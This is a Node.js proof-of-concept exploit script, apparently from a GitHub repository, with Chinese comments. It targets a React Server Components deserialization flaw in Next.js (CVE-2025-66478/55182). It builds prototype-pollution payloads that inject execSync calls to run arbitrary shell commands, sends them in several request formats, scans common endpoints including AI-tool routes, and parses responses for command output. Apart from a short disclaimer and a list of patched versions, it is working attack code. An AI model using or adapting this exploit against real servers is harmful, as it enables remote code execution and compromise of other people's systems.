README.md
Rendering markdown...
#!/usr/bin/env node
/**
* CVE-2025-66478 概念验证
* Next.js React Server Components RCE 漏洞
*
* 这是一个概念验证脚本,演示了影响 Next.js 应用程序的
* React Server Components 反序列化漏洞。
*
* 免责声明:此工具仅用于教育目的。请勿在未经授权的系统上使用。
*/
const https = require('https');
const http = require('http');
const fs = require('fs');
const path = require('path');
class RSCExploit {
constructor(targetUrl, options = {}) {
this.targetUrl = targetUrl;
this.options = {
method: 'POST',
headers: {
'Accept': '*/*',
...options.headers
},
verbose: options.verbose || false, // 添加详细输出选项
...options
};
}
/**
* 生成利用反序列化漏洞的恶意 RSC 负载
* 漏洞发生在 React Server Components "Flight" 协议的处理过程中
* 根据 CVE-2025-66478 和 CVE-2025-55182 的技术细节
*
* 该漏洞利用 React 反序列化中的不安全对象构造,通过原型污染触发代码执行
*/
/**
* 生成利用 CVE-2025-55182 的正确 payload
* 基于 Flight 协议的原型污染漏洞
* 参考: https://github.com/Spritualkb/CVE-2025-55182-exp
*
* 漏洞机制:
* 1. 通过 "$1:__proto__:then" 污染 Object.prototype.then
* 2. 通过 "$1:constructor:constructor" 设置 _formData.get 为 Function 构造函数
* 3. 通过 _prefix 注入恶意代码
*/
generateMaliciousPayload(command) {
// 转义命令中的特殊字符
const cmd = command.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n');
// 构造恶意代码,通过 Function 构造函数执行命令
// 使用 try-catch 确保即使出错也能返回信息
const maliciousCode = `
try {
const { execSync } = require('child_process');
const result = execSync("${cmd}", { encoding: 'utf8', timeout: 10000 });
return result.toString();
} catch(e) {
return 'Error: ' + e.message;
}
`.trim();
// 正确的 CVE-2025-55182 payload 结构
// 使用 Flight 协议的引用格式来触发原型污染
// 参考: https://github.com/Spritualkb/CVE-2025-55182-exp
const flightPayload = {
// 污染 Object.prototype.then
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": JSON.stringify({"then": "$B1337"}),
"_response": {
// 注入恶意代码到 _prefix(这是关键部分)
"_prefix": maliciousCode,
"_chunks": "$Q2",
// 通过引用设置 _formData.get 为 Function 构造函数
"_formData": {
"get": "$1:constructor:constructor"
}
}
};
// 方法4: 使用 Server Actions 格式(针对有 Server Actions 的应用)
// Server Actions 使用不同的端点格式
// 注意:实际的 Server Actions 需要正确的 action ID(通常是文件路径的哈希)
// 这里我们构造一个可能触发反序列化的 payload
const serverActionPayload = {
"0": flightPayload,
// Server Actions 的格式:使用 action ID 和参数
// 实际的 action ID 需要从页面中提取,这里使用占位符
"1": {
"id": "./actions",
"name": "testAction",
"args": [flightPayload]
},
// 尝试直接使用 Flight payload 作为 Server Action 的参数
// 这可能在反序列化时触发漏洞
"$$action": flightPayload
};
// 方法1: 使用 multipart/form-data 格式(RSC Flight 协议标准格式)
const boundary = `----WebKitFormBoundary${Date.now()}`;
const multipartBody = [
`--${boundary}`,
'Content-Disposition: form-data; name="0"',
'Content-Type: application/json',
'',
JSON.stringify(flightPayload),
`--${boundary}--`,
''
].join('\r\n');
// 方法2: 直接使用 JSON 格式(某些端点可能接受)
const jsonBody = JSON.stringify({
"0": flightPayload
});
// 方法3: 使用 Flight 协议的文本格式(某些情况下可能更有效)
const flightTextBody = JSON.stringify(flightPayload);
// 方法4: Server Actions 格式
const serverActionBody = JSON.stringify(serverActionPayload);
return {
multipart: {
body: multipartBody,
boundary: boundary,
contentType: `multipart/form-data; boundary=${boundary}`
},
json: {
body: jsonBody,
contentType: 'application/json'
},
flight: {
body: flightTextBody,
contentType: 'text/x-component'
},
serverAction: {
body: serverActionBody,
contentType: 'application/json'
}
};
}
/**
* 发送单个请求
* @param {Object} payloadData - Payload 数据
* @param {string} format - 格式: 'multipart', 'json', 'flight'
*/
async sendRequest(payloadData, format = 'multipart') {
const protocol = this.targetUrl.startsWith('https://') ? https : http;
const url = new URL(this.targetUrl);
let payload;
if (format === 'multipart') {
payload = payloadData.multipart;
} else if (format === 'flight') {
payload = payloadData.flight;
} else if (format === 'serverAction') {
payload = payloadData.serverAction;
} else {
payload = payloadData.json;
}
// 根据格式和端点决定使用哪些请求头
const baseHeaders = {
...this.options.headers,
'Content-Type': payload.contentType,
'Content-Length': Buffer.byteLength(payload.body),
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Referer': url.origin + '/'
};
// 根据端点类型添加不同的请求头
// 重要:完全移除 Next-Router-State-Tree 头,因为它会导致解析错误
const isRSCEndpoint = url.pathname.includes('_rsc') || url.pathname.includes('/rsc');
const isServerAction = url.pathname.includes('actions') || format === 'serverAction';
if (isRSCEndpoint) {
// RSC 端点需要特定的请求头,但不发送 Next-Router-State-Tree
baseHeaders['Accept'] = 'text/x-component';
baseHeaders['RSC'] = '1';
// 不发送 Next-Router-State-Tree,避免解析错误
baseHeaders['Next-Router-Prefetch'] = '1';
} else if (isServerAction) {
// Server Actions 端点
baseHeaders['Accept'] = 'text/x-component';
baseHeaders['Content-Type'] = 'application/json';
// Server Actions 不需要 Next-Router-State-Tree
} else {
// 其他端点,使用标准请求头
baseHeaders['Accept'] = '*/*';
}
// 确保不发送 Next-Router-State-Tree 头(可能导致解析错误)
delete baseHeaders['Next-Router-State-Tree'];
const requestOptions = {
hostname: url.hostname,
port: url.port || (protocol === https ? 443 : 80),
path: url.pathname + (url.search || ''),
method: this.options.method,
headers: baseHeaders,
...(this.options.agent && { agent: this.options.agent })
};
return new Promise((resolve, reject) => {
const req = protocol.request(requestOptions, (res) => {
let responseData = '';
res.on('data', (chunk) => {
responseData += chunk;
});
res.on('end', () => {
resolve({
statusCode: res.statusCode,
headers: res.headers,
data: responseData,
format: format
});
});
});
req.on('error', (error) => {
reject(error);
});
// 如果启用详细输出,显示请求信息
if (this.options.verbose) {
console.log(`\n[DEBUG] 请求详情:`);
console.log(` 方法: ${requestOptions.method}`);
console.log(` 路径: ${requestOptions.path}`);
console.log(` 请求头:`, JSON.stringify(requestOptions.headers, null, 2));
console.log(` Payload 大小: ${Buffer.byteLength(payload.body)} 字节`);
if (Buffer.byteLength(payload.body) < 1000) {
console.log(` Payload 内容:`, payload.body);
}
}
req.write(payload.body);
req.end();
});
}
/**
* 将漏洞利用负载发送到目标服务器
* 尝试多种 payload 格式和端点
*/
async sendExploit(command) {
console.log(`[*] 准备 CVE-2025-66478 漏洞利用`);
console.log(`[*] 目标: ${this.targetUrl}`);
console.log(`[*] 要执行的命令: ${command}`);
const payloadData = this.generateMaliciousPayload(command);
console.log(`[*] 生成了恶意 RSC payload (支持 multipart 和 JSON 格式)`);
const results = [];
// 尝试方法1: Server Actions 格式(最可能成功,因为不需要 Next-Router-State-Tree)
console.log(`\n[*] 尝试方法 1: Server Actions 格式...`);
try {
const result1 = await this.sendRequest(payloadData, 'serverAction');
results.push(result1);
console.log(`[*] 收到响应 (状态码: ${result1.statusCode}, 格式: serverAction)`);
if (this.checkForCommandOutput(result1.data, command)) {
console.log(`[+] 可能检测到命令执行结果!`);
// 显示详细分析
this.analyzeResponse(result1, command);
return result1;
}
} catch (error) {
console.log(`[-] Server Actions 格式请求失败: ${error.message}`);
}
// 尝试方法2: Flight 协议格式
console.log(`\n[*] 尝试方法 2: Flight 协议格式 (text/x-component)...`);
try {
const result2 = await this.sendRequest(payloadData, 'flight');
results.push(result2);
console.log(`[*] 收到响应 (状态码: ${result2.statusCode}, 格式: flight)`);
if (this.checkForCommandOutput(result2.data, command)) {
console.log(`[+] 可能检测到命令执行结果!`);
// 显示详细分析
this.analyzeResponse(result2, command);
return result2;
}
} catch (error) {
console.log(`[-] Flight 格式请求失败: ${error.message}`);
}
// 尝试方法3: multipart/form-data 格式
console.log(`\n[*] 尝试方法 3: multipart/form-data 格式...`);
try {
const result3 = await this.sendRequest(payloadData, 'multipart');
results.push(result3);
console.log(`[*] 收到响应 (状态码: ${result3.statusCode}, 格式: multipart)`);
if (this.checkForCommandOutput(result3.data, command)) {
console.log(`[+] 可能检测到命令执行结果!`);
// 显示详细分析
this.analyzeResponse(result3, command);
return result3;
}
} catch (error) {
console.log(`[-] multipart 格式请求失败: ${error.message}`);
}
// 尝试方法4: JSON 格式
console.log(`\n[*] 尝试方法 4: JSON 格式...`);
try {
const result4 = await this.sendRequest(payloadData, 'json');
results.push(result4);
console.log(`[*] 收到响应 (状态码: ${result4.statusCode}, 格式: JSON)`);
if (this.checkForCommandOutput(result4.data, command)) {
console.log(`[+] 可能检测到命令执行结果!`);
// 显示详细分析
this.analyzeResponse(result4, command);
return result4;
}
} catch (error) {
console.log(`[-] JSON 格式请求失败: ${error.message}`);
}
// 返回最佳结果
const bestResult = results.find(r => r.statusCode === 200) ||
results.find(r => r.statusCode === 500) ||
results[0];
if (bestResult) {
console.log(`\n${'='.repeat(60)}`);
console.log(`[*] 最终响应分析`);
console.log(`${'='.repeat(60)}`);
console.log(`[*] 状态码: ${bestResult.statusCode}`);
console.log(`[*] 响应大小: ${bestResult.data.length} 字节`);
console.log(`[*] 内容类型: ${bestResult.headers['content-type'] || '未知'}`);
console.log(`[*] 使用的格式: ${bestResult.format || '未知'}`);
// 详细分析响应内容
this.analyzeResponse(bestResult, command);
}
return bestResult || { statusCode: 0, data: '', headers: {} };
}
/**
* 详细分析响应内容
*/
analyzeResponse(result, command) {
if (!result || !result.data) {
console.log(`\n[-] 无响应数据`);
return;
}
const data = result.data;
console.log(`\n[*] 响应内容分析:`);
console.log(`-`.repeat(60));
// 尝试提取命令输出
const extractedOutput = this.extractCommandOutput(data, command);
if (extractedOutput.found && extractedOutput.output.length > 0) {
// 验证提取的输出不是常见的错误信息
const validOutput = extractedOutput.output.filter(line => {
const lowerLine = line.toLowerCase().trim();
return !['internal', 'server', 'error', '500', 'internal server error'].includes(lowerLine) &&
lowerLine.length > 1;
});
if (validOutput.length > 0) {
// 根据置信度显示不同的消息
const confidenceEmoji = {
'high': '✅',
'medium': '⚠️',
'low': '❓'
};
const confidenceText = {
'high': '高置信度',
'medium': '中等置信度',
'low': '低置信度'
};
console.log(`\n${confidenceEmoji[extractedOutput.confidence] || '⚠️'} 检测到命令执行结果 (${confidenceText[extractedOutput.confidence] || '未知'})!`);
console.log(`[+] 命令输出:`);
console.log(`${'='.repeat(60)}`);
validOutput.forEach(line => {
console.log(` ${line}`);
});
console.log(`${'='.repeat(60)}`);
// 如果置信度高,明确标记为成功
if (extractedOutput.confidence === 'high') {
console.log(`\n🎉 漏洞利用成功!命令已执行!`);
} else {
console.log(`\n⚠️ 可能成功,但需要进一步验证`);
}
} else {
// 没有找到有效的命令输出,显示完整响应
console.log(`\n[-] 未检测到明确的命令执行结果`);
console.log(`[*] 显示完整响应内容以供分析:`);
this.showFullResponse(data);
}
} else {
// 显示完整的响应内容(用于调试)
this.showFullResponse(data);
// 提供分析建议和成功判断标准
console.log(`\n[!] 成功判断标准:`);
console.log(` ✅ 高置信度成功指标:`);
console.log(` - 响应中包含命令的预期输出(如 whoami 返回用户名)`);
console.log(` - 响应中包含命令执行的结果(如 ls 返回文件列表)`);
console.log(` - 响应中包含命令执行的错误信息(说明命令被执行了)`);
console.log(` ⚠️ 中等置信度指标:`);
console.log(` - 状态码 500 且响应中包含非标准错误信息`);
console.log(` - 响应中包含可能的命令输出片段`);
console.log(` ❌ 失败指标:`);
console.log(` - 状态码 404(端点不存在)`);
console.log(` - 状态码 405(方法不允许)`);
console.log(` - 响应只包含标准错误页面`);
console.log(`\n[!] 当前响应分析:`);
if (result.statusCode === 500) {
console.log(` - 状态码 500: 服务器处理了请求但出错`);
console.log(` - 可能: 命令已执行,但输出在错误信息中`);
console.log(` - 建议: 仔细检查上面的响应内容,查找命令输出`);
} else if (result.statusCode === 200) {
console.log(` - 状态码 200: 请求成功`);
console.log(` - 可能: 命令已执行,输出在响应中`);
console.log(` - 建议: 检查响应内容中是否包含命令执行结果`);
} else if (result.statusCode === 404) {
console.log(` - 状态码 404: 端点不存在`);
console.log(` - 建议: 尝试其他端点或使用 --scan 模式`);
} else if (result.statusCode === 405) {
console.log(` - 状态码 405: 方法不允许`);
console.log(` - 建议: 端点存在但不接受 POST,可能需要不同的请求格式`);
} else {
console.log(` - 状态码 ${result.statusCode}: 需要进一步分析`);
}
}
// 显示响应头信息(可能有用的调试信息)
if (Object.keys(result.headers).length > 0) {
console.log(`\n[*] 响应头信息:`);
Object.entries(result.headers).slice(0, 10).forEach(([key, value]) => {
console.log(` ${key}: ${value}`);
});
}
}
/**
* 显示完整响应内容
*/
showFullResponse(data) {
console.log(`\n[*] 完整响应内容:`);
console.log(`${'='.repeat(60)}`);
// 如果是 HTML,尝试提取文本内容
if (data.includes('<!DOCTYPE') || data.includes('<html')) {
// 提取 HTML 中的文本内容
const textContent = data
.replace(/<script[^>]*>[\s\S]*?<\/script>/gi, '')
.replace(/<style[^>]*>[\s\S]*?<\/style>/gi, '')
.replace(/<[^>]+>/g, ' ')
.replace(/\s+/g, ' ')
.trim();
if (textContent.length > 0 && textContent !== 'Internal Server Error') {
console.log(`[HTML 文本内容]:`);
console.log(textContent.substring(0, 1000) + (textContent.length > 1000 ? '...' : ''));
}
// 也显示原始 HTML(完整内容,最多 5000 字符)
console.log(`\n[原始 HTML 响应]:`);
const displayLength = Math.min(data.length, 5000);
console.log(data.substring(0, displayLength));
if (data.length > displayLength) {
console.log(`\n... (响应过长,已截断,总长度: ${data.length} 字节)`);
}
} else {
// 非 HTML 响应,直接显示(完整内容,最多 5000 字符)
const displayLength = Math.min(data.length, 5000);
console.log(data.substring(0, displayLength));
if (data.length > displayLength) {
console.log(`\n... (响应过长,已截断,总长度: ${data.length} 字节)`);
console.log(`[提示] 完整响应可能包含命令输出,请仔细检查`);
}
}
console.log(`${'='.repeat(60)}`);
}
/**
* 从响应中提取命令输出
*/
extractCommandOutput(responseData, command) {
if (!responseData || typeof responseData !== 'string') {
return { found: false, output: [], confidence: 'none' };
}
const output = [];
let found = false;
let confidence = 'low'; // 'high', 'medium', 'low', 'none'
// 提取命令关键词(用于匹配)
const cmdLower = command.toLowerCase();
const isEcho = cmdLower.includes('echo');
const isWhoami = cmdLower.includes('whoami');
const isLs = cmdLower.includes('ls');
const isPwd = cmdLower.includes('pwd');
const isId = cmdLower.includes('id');
const isCat = cmdLower.includes('cat');
// 2. 尝试从 HTML 中提取文本内容
let textContent = responseData;
if (responseData.includes('<')) {
// 移除 HTML 标签
textContent = responseData
.replace(/<script[^>]*>[\s\S]*?<\/script>/gi, '')
.replace(/<style[^>]*>[\s\S]*?<\/style>/gi, '')
.replace(/<[^>]+>/g, ' ')
.replace(/\s+/g, ' ')
.trim();
}
// 3. 尝试解析 JSON 响应
try {
const jsonData = JSON.parse(responseData);
const jsonStr = JSON.stringify(jsonData, null, 2);
// 在 JSON 中查找可能的命令输出
if (jsonStr.length < 5000) {
textContent += '\n' + jsonStr;
}
} catch (e) {
// 不是 JSON,继续
}
// 4. 查找可能的命令输出(排除常见的 HTML/错误信息)
const excludePatterns = [
/^Internal Server Error$/i,
/^Error 500$/i,
/^<!DOCTYPE/i,
/^<html/i,
/^<head/i,
/^<body/i,
/Next\.js/i,
/ReferenceError/i,
/TypeError/i,
/^Internal$/i,
/^Server$/i,
/^Error$/i
];
// 5. 查找包含命令关键词但不在排除模式中的内容
const lines = textContent.split(/\n|\r\n?/).filter(line => {
line = line.trim();
if (line.length === 0 || line.length > 200) return false;
// 排除明显的错误信息(完全匹配)
if (excludePatterns.some(pattern => pattern.test(line))) {
return false;
}
// 排除只包含单个常见错误词的
if (/^(Internal|Server|Error|500)$/i.test(line)) {
return false;
}
// 查找可能的命令输出(包含字母数字字符,但不是纯数字或纯符号)
// 必须包含至少一个字母,且不是纯 HTML 标签
if (/^[a-zA-Z0-9_\-\.\/\s:]+$/.test(line) && /[a-zA-Z]/.test(line) && !line.startsWith('<')) {
// 进一步过滤:排除明显的 HTML 片段
if (!line.match(/^<[^>]+>/) && line.length >= 2) {
return true;
}
}
return false;
});
if (lines.length > 0) {
found = true;
output.push(...lines.slice(0, 20)); // 最多显示 20 行
}
// 6. 特殊处理:根据具体命令查找输出
if (isEcho) {
// echo 命令:查找命令参数中的内容
const echoMatch = command.match(/echo\s+(.+)/i);
if (echoMatch) {
const expectedOutput = echoMatch[1].replace(/^["']|["']$/g, '').trim();
if (textContent.includes(expectedOutput) && !textContent.includes('echo')) {
found = true;
confidence = 'high';
output.push(`找到 echo 输出: ${expectedOutput}`);
}
}
}
if (isWhoami) {
// whoami 命令:查找用户名
const userPattern = /(?:^|\s|>)(root|admin|user|nobody|daemon|www-data|apache|nginx|nextjs|node|[\w\-]{2,20})(?:\s|$|<)/i;
const matches = textContent.match(userPattern);
if (matches && matches.length > 0) {
const username = matches.find(m =>
!['html', 'body', 'div', 'span', 'script', 'style', 'head', 'meta'].includes(m.toLowerCase())
);
if (username && username.length > 1) {
found = true;
confidence = 'high';
output.push(`找到用户名: ${username.trim()}`);
}
}
}
if (isLs) {
// ls 命令:查找文件列表
const lsPattern = /(?:^|\n)(bin|boot|dev|etc|home|lib|opt|proc|root|run|sbin|sys|tmp|usr|var|app|\.next|node_modules)[\s\n]/i;
if (lsPattern.test(textContent)) {
const matches = textContent.match(lsPattern);
if (matches && matches.length > 0) {
found = true;
confidence = 'high';
matches.slice(0, 10).forEach(match => {
if (!output.includes(match.trim())) {
output.push(match.trim());
}
});
}
}
}
if (isPwd) {
// pwd 命令:查找路径
const pwdPattern = /(?:^|\s)(\/[a-zA-Z0-9_\-\.\/]+)(?:\s|$)/;
const matches = textContent.match(pwdPattern);
if (matches && matches.length > 0) {
const path = matches.find(m => m.startsWith('/') && m.length > 1);
if (path) {
found = true;
confidence = 'high';
output.push(`找到路径: ${path.trim()}`);
}
}
}
if (isId) {
// id 命令:查找 uid/gid
const idPattern = /(?:uid|gid|groups?)\s*=\s*[0-9]+/i;
if (idPattern.test(textContent)) {
found = true;
confidence = 'high';
const matches = textContent.match(idPattern);
if (matches) {
output.push(...matches.slice(0, 5));
}
}
}
// 7. 查找命令执行错误的输出(这也说明命令被执行了)
const errorPatterns = [
/Error: Command failed/i,
/Command executed/i,
/execSync.*timeout/i,
/child_process.*exec/i
];
if (errorPatterns.some(pattern => pattern.test(textContent))) {
found = true;
if (confidence === 'none') confidence = 'medium';
}
// 8. 查找明显的命令输出(非 HTML/错误信息)
const cleanLines = textContent
.split(/\n|\r\n?/)
.map(line => line.trim())
.filter(line => {
if (line.length < 2 || line.length > 200) return false;
if (line.match(/^(Internal|Server|Error|404|405|500)$/i)) return false;
if (line.match(/^<!DOCTYPE|^<html|^<head|^<body/i)) return false;
// 包含字母数字,但不是纯 HTML
return /[a-zA-Z]/.test(line) && !line.startsWith('<');
});
if (cleanLines.length > 0 && cleanLines.length < 50) {
found = true;
if (confidence === 'none') confidence = 'medium';
output.push(...cleanLines.slice(0, 20));
}
return { found, output: [...new Set(output)].slice(0, 20), confidence };
}
/**
* 检查响应中是否包含命令执行结果
*/
checkForCommandOutput(responseData, command) {
const extracted = this.extractCommandOutput(responseData, command);
return extracted.found;
}
/**
* 尝试不同的端点
*/
async tryEndpoint(endpoint, command = 'echo "test"') {
const originalUrl = this.targetUrl;
const baseUrl = new URL(this.targetUrl);
const testUrl = new URL(endpoint, baseUrl.origin).href;
// 临时更改目标 URL
this.targetUrl = testUrl;
try {
const response = await this.sendExploit(command);
return {
endpoint,
url: testUrl,
statusCode: response.statusCode,
hasRSCIndicators: this.hasRSCIndicators(response),
responseLength: response.data?.length || 0
};
} catch (error) {
return {
endpoint,
url: testUrl,
error: error.message,
hasRSCIndicators: false
};
} finally {
// 恢复原始 URL
this.targetUrl = originalUrl;
}
}
/**
* 检查响应是否具有 RSC 特征
*/
hasRSCIndicators(response) {
if (!response) return false;
const isUsefulStatusCode = response.statusCode === 200 || response.statusCode === 500;
if (!isUsefulStatusCode) return false;
const data = response.data || '';
const headers = response.headers || {};
return (
data.includes('react-server-components') ||
data.includes('RSC') ||
data.includes('Flight') ||
headers['x-nextjs-data'] ||
headers['content-type']?.includes('application/json') ||
headers['content-type']?.includes('text/x-component')
);
}
/**
* 扫描可能接受 RSC 负载的易受攻击端点
*/
async scanVulnerableEndpoints() {
// 常见 Next.js RSC 端点
// 特别针对 Dify 等 AI 工具(这些工具使用 Next.js App Router)
const commonEndpoints = [
// 标准 RSC 端点
'/_rsc',
'/api/rsc',
'/app/api/rsc',
// Server Actions 端点
'/server-actions',
'/api/server-actions',
'/action',
'/api/action',
// Next.js 内部端点
'/_next/data/test/page.json',
'/_next/server/chunks/app/test.js',
// Dify 和其他 AI 工具常见端点
'/api/chat',
'/api/completion',
'/api/v1/chat',
'/api/v1/completion',
'/api/console/api/chat',
'/api/console/api/completion',
// 其他可能的端点
'/api/stream',
'/api/query',
'/api/run'
];
console.log('[*] 扫描可能易受攻击的 RSC 端点...');
console.log(`[*] 基础 URL: ${this.targetUrl}\n`);
const results = [];
for (const endpoint of commonEndpoints) {
console.log(`[*] 测试端点: ${endpoint}`);
const result = await this.tryEndpoint(endpoint, 'echo "test"');
results.push(result);
if (result.hasRSCIndicators) {
console.log(`[+] 发现潜在的 RSC 端点: ${endpoint} (状态码: ${result.statusCode})`);
} else if (result.error) {
console.log(`[-] 端点 ${endpoint} 测试失败: ${result.error}`);
} else {
console.log(`[-] 端点 ${endpoint} 不是易受攻击的 RSC 端点 (状态码: ${result.statusCode})`);
}
// 在请求之间添加延迟
await new Promise(resolve => setTimeout(resolve, 500));
}
return results;
}
}
/**
* 演示漏洞利用的主函数
*/
async function main() {
console.log('='.repeat(60));
console.log('CVE-2025-66478 漏洞利用演示 - Next.js RSC 反序列化漏洞');
console.log('='.repeat(60));
console.log('这是一个仅用于教育目的的概念验证。');
console.log('请勿在未经授权的系统上使用。');
console.log('='.repeat(60));
// 示例用法
if (process.argv.length < 3) {
console.log('\n用法: node exploit.js <目标URL> [命令] [选项]');
console.log('示例: node exploit.js https://target.com/_rsc "ls -la"');
console.log('\n扫描模式: node exploit.js <目标URL> --scan');
console.log('详细输出: node exploit.js <目标URL> <命令> --verbose');
process.exit(1);
}
const targetUrl = process.argv[2];
const command = process.argv[3] || 'echo "CVE-2025-66478 漏洞利用演示"';
const isScanMode = command === '--scan';
const isVerbose = process.argv.includes('--verbose') || process.argv.includes('-v');
const exploit = new RSCExploit(targetUrl, { verbose: isVerbose });
if (isScanMode) {
console.log('\n[*] 开始漏洞扫描模式...');
const results = await exploit.scanVulnerableEndpoints();
console.log('\n[*] 扫描结果摘要:');
console.log('-'.repeat(40));
const vulnerableEndpoints = results.filter(r => r.isPotentiallyVulnerable);
if (vulnerableEndpoints.length > 0) {
console.log(`[!] 发现 ${vulnerableEndpoints.length} 个潜在的易受攻击端点:`);
vulnerableEndpoints.forEach(endpoint => {
console.log(` - ${endpoint.endpoint} (状态: ${endpoint.statusCode})`);
});
} else {
console.log('[-] 未检测到明显的易受攻击端点。');
}
console.log('\n[*] 注意: 此扫描不全面。应用程序仍可能存在漏洞。');
} else {
console.log('\n[*] 开始漏洞利用模式...');
try {
let result = await exploit.sendExploit(command);
// 如果当前端点失败,尝试其他常见端点(特别针对 Dify 等 AI 工具)
if (!result || result.statusCode === 404 || result.statusCode === 405) {
console.log('\n[*] 当前端点可能不正确,尝试其他常见端点...');
// 首先尝试 Server Actions 端点(Next.js 15 格式)
const baseUrl = new URL(targetUrl);
const serverActionUrl = new URL('/?/actions', baseUrl.origin).href;
console.log(`\n[*] 尝试 Server Actions 端点: ${serverActionUrl}`);
try {
const saExploit = new RSCExploit(serverActionUrl, { verbose: isVerbose });
result = await saExploit.sendExploit(command);
if (result && (result.statusCode === 200 || result.statusCode === 500)) {
console.log(`[+] 在 Server Actions 端点上收到响应!`);
}
} catch (error) {
console.log(`[-] Server Actions 端点失败: ${error.message}`);
}
// 如果 Server Actions 也失败,尝试其他端点
if (!result || result.statusCode === 404 || result.statusCode === 405) {
const alternativeEndpoints = [
// 直接访问根路径
'/',
// 标准 RSC 端点
'/_rsc',
'/api/rsc',
// AI 工具端点
'/api/chat',
'/api/completion',
'/api/v1/chat',
'/api/console/api/chat'
];
for (const endpoint of alternativeEndpoints) {
const testUrl = new URL(endpoint, baseUrl.origin).href;
console.log(`\n[*] 尝试端点: ${testUrl}`);
try {
const altExploit = new RSCExploit(testUrl, { verbose: isVerbose });
result = await altExploit.sendExploit(command);
if (result && (result.statusCode === 200 || result.statusCode === 500)) {
console.log(`[+] 在端点 ${endpoint} 上收到响应!`);
break;
}
} catch (error) {
console.log(`[-] 端点 ${endpoint} 失败: ${error.message}`);
}
}
}
}
console.log('\n[*] 漏洞利用完成。');
// 详细分析已在 sendExploit 中的 analyzeResponse 方法完成
} catch (error) {
console.error('[-] 漏洞利用失败:', error.message);
console.error('[-] 错误堆栈:', error.stack);
}
}
console.log('\n[*] 请立即修补您的 Next.js 应用程序!');
console.log('[*] 推荐版本: >= 15.0.5, >= 15.1.9, >= 15.2.6, >= 15.3.6, >= 15.4.8, >= 15.5.7, >= 16.0.7');
}
// 运行主函数
if (require.main === module) {
main().catch(console.error);
}
module.exports = { RSCExploit };